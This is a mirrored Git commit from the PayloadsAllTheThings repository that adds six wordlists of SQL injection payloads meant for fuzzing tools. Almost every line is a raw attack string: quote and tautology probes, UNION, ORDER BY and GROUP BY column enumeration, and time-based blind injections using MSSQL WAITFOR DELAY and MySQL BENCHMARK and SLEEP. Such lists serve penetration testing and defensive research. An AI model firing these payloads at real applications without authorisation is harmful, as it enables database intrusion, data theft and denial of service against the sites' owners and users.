mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2026-01-05 09:17:09 -08:00
SQL injection - Intruders payloads
This commit is contained in:
Swissky
88
SQL injection/Intruders/SQL-Injection
Normal file
88
SQL injection/Intruders/SQL-Injection
Normal file
@@ -0,0 +1,88 @@
|
||||
'
|
||||
''
|
||||
`
|
||||
``
|
||||
,
|
||||
"
|
||||
""
|
||||
/
|
||||
//
|
||||
\
|
||||
\\
|
||||
;
|
||||
' or "
|
||||
-- or #
|
||||
' OR '1
|
||||
' OR 1 -- -
|
||||
" OR "" = "
|
||||
" OR 1 = 1 -- -
|
||||
' OR '' = '
|
||||
'='
|
||||
'LIKE'
|
||||
'=0--+
|
||||
OR 1=1
|
||||
' OR 'x'='x
|
||||
' AND id IS NULL; --
|
||||
'''''''''''''UNION SELECT '2
|
||||
%00
|
||||
/*…*/
|
||||
+ addition, concatenate (or space in url)
|
||||
|| (double pipe) concatenate
|
||||
% wildcard attribute indicator
|
||||
|
||||
@variable local variable
|
||||
@@variable global variable
|
||||
|
||||
|
||||
# Numeric
|
||||
AND 1
|
||||
AND 0
|
||||
AND true
|
||||
AND false
|
||||
1-false
|
||||
1-true
|
||||
1*56
|
||||
-2
|
||||
|
||||
|
||||
1' ORDER BY 1--+
|
||||
1' ORDER BY 2--+
|
||||
1' ORDER BY 3--+
|
||||
|
||||
1' ORDER BY 1,2--+
|
||||
1' ORDER BY 1,2,3--+
|
||||
|
||||
1' GROUP BY 1,2,--+
|
||||
1' GROUP BY 1,2,3--+
|
||||
' GROUP BY columnnames having 1=1 --
|
||||
|
||||
|
||||
-1' UNION SELECT 1,2,3--+
|
||||
' UNION SELECT sum(columnname ) from tablename --
|
||||
|
||||
|
||||
-1 UNION SELECT 1 INTO @,@
|
||||
-1 UNION SELECT 1 INTO @,@,@
|
||||
|
||||
1 AND (SELECT * FROM Users) = 1
|
||||
|
||||
' AND MID(VERSION(),1,1) = '5';
|
||||
|
||||
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
|
||||
|
||||
|
||||
Finding the table name
|
||||
|
||||
|
||||
Time-Based:
|
||||
,(select * from (select(sleep(10)))a)
|
||||
%2c(select%20*%20from%20(select(sleep(10)))a)
|
||||
';WAITFOR DELAY '0:0:30'--
|
||||
|
||||
Comments:
|
||||
|
||||
# Hash comment
|
||||
/* C-style comment
|
||||
-- - SQL comment
|
||||
;%00 Nullbyte
|
||||
` Backtick
|
||||
107
SQL injection/Intruders/payloads-sql-blind-MSSQL-INSERT
Normal file
107
SQL injection/Intruders/payloads-sql-blind-MSSQL-INSERT
Normal file
@@ -0,0 +1,107 @@
|
||||
)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
)%20waitfor%20delay%20'0:0:20'%20--
|
||||
')%20waitfor%20delay%20'0:0:20'%20/*
|
||||
')%20waitfor%20delay%20'0:0:20'%20--
|
||||
")%20waitfor%20delay%20'0:0:20'%20/*
|
||||
")%20waitfor%20delay%20'0:0:20'%20--
|
||||
))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
))%20waitfor%20delay%20'0:0:20'%20--
|
||||
'))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'))%20waitfor%20delay%20'0:0:20'%20--
|
||||
"))%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"))%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||
',NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||
'),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||
40
SQL injection/Intruders/payloads-sql-blind-MSSQL-WHERE
Normal file
40
SQL injection/Intruders/payloads-sql-blind-MSSQL-WHERE
Normal file
@@ -0,0 +1,40 @@
|
||||
waitfor delay '0:0:20' /*
|
||||
waitfor delay '0:0:20' --
|
||||
' waitfor delay '0:0:20' /*
|
||||
' waitfor delay '0:0:20' --
|
||||
" waitfor delay '0:0:20' /*
|
||||
" waitfor delay '0:0:20' --
|
||||
) waitfor delay '0:0:20' /*
|
||||
) waitfor delay '0:0:20' --
|
||||
)) waitfor delay '0:0:20' /*
|
||||
)) waitfor delay '0:0:20' --
|
||||
))) waitfor delay '0:0:20' /*
|
||||
))) waitfor delay '0:0:20' --
|
||||
)))) waitfor delay '0:0:20' /*
|
||||
)))) waitfor delay '0:0:20' --
|
||||
))))) waitfor delay '0:0:20' --
|
||||
)))))) waitfor delay '0:0:20' --
|
||||
') waitfor delay '0:0:20' /*
|
||||
') waitfor delay '0:0:20' --
|
||||
") waitfor delay '0:0:20' /*
|
||||
") waitfor delay '0:0:20' --
|
||||
')) waitfor delay '0:0:20' /*
|
||||
')) waitfor delay '0:0:20' --
|
||||
")) waitfor delay '0:0:20' /*
|
||||
")) waitfor delay '0:0:20' --
|
||||
'))) waitfor delay '0:0:20' /*
|
||||
'))) waitfor delay '0:0:20' --
|
||||
"))) waitfor delay '0:0:20' /*
|
||||
"))) waitfor delay '0:0:20' --
|
||||
')))) waitfor delay '0:0:20' /*
|
||||
')))) waitfor delay '0:0:20' --
|
||||
")))) waitfor delay '0:0:20' /*
|
||||
")))) waitfor delay '0:0:20' --
|
||||
'))))) waitfor delay '0:0:20' /*
|
||||
'))))) waitfor delay '0:0:20' --
|
||||
"))))) waitfor delay '0:0:20' /*
|
||||
"))))) waitfor delay '0:0:20' --
|
||||
')))))) waitfor delay '0:0:20' /*
|
||||
')))))) waitfor delay '0:0:20' --
|
||||
")))))) waitfor delay '0:0:20' /*
|
||||
")))))) waitfor delay '0:0:20' --
|
||||
90
SQL injection/Intruders/payloads-sql-blind-MySQL-INSERT
Normal file
90
SQL injection/Intruders/payloads-sql-blind-MySQL-INSERT
Normal file
@@ -0,0 +1,90 @@
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||
18
SQL injection/Intruders/payloads-sql-blind-MySQL-ORDER_BY
Normal file
18
SQL injection/Intruders/payloads-sql-blind-MySQL-ORDER_BY
Normal file
@@ -0,0 +1,18 @@
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||
45
SQL injection/Intruders/payloads-sql-blind-MySQL-WHERE
Normal file
45
SQL injection/Intruders/payloads-sql-blind-MySQL-WHERE
Normal file
@@ -0,0 +1,45 @@
|
||||
and 0=benchmark(3000000,MD5(1))%20/*
|
||||
and 0=benchmark(3000000,MD5(1))%20--
|
||||
and 0=benchmark(3000000,MD5(1))%20%23
|
||||
' and 0=benchmark(3000000,MD5(1))%20/*
|
||||
' and 0=benchmark(3000000,MD5(1))%20--
|
||||
' and 0=benchmark(3000000,MD5(1))%20%23
|
||||
" and 0=benchmark(3000000,MD5(1))%20/*
|
||||
" and 0=benchmark(3000000,MD5(1))%20--
|
||||
" and 0=benchmark(3000000,MD5(1))%20%23
|
||||
) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
) and 0=benchmark(3000000,MD5(1))%20--
|
||||
) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
)))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
') and 0=benchmark(3000000,MD5(1))%20/*
|
||||
') and 0=benchmark(3000000,MD5(1))%20--
|
||||
') and 0=benchmark(3000000,MD5(1))%20%23
|
||||
") and 0=benchmark(3000000,MD5(1))%20/*
|
||||
") and 0=benchmark(3000000,MD5(1))%20--
|
||||
") and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
'))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
"))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
')))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20--
|
||||
")))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||
Reference in New Issue
Block a user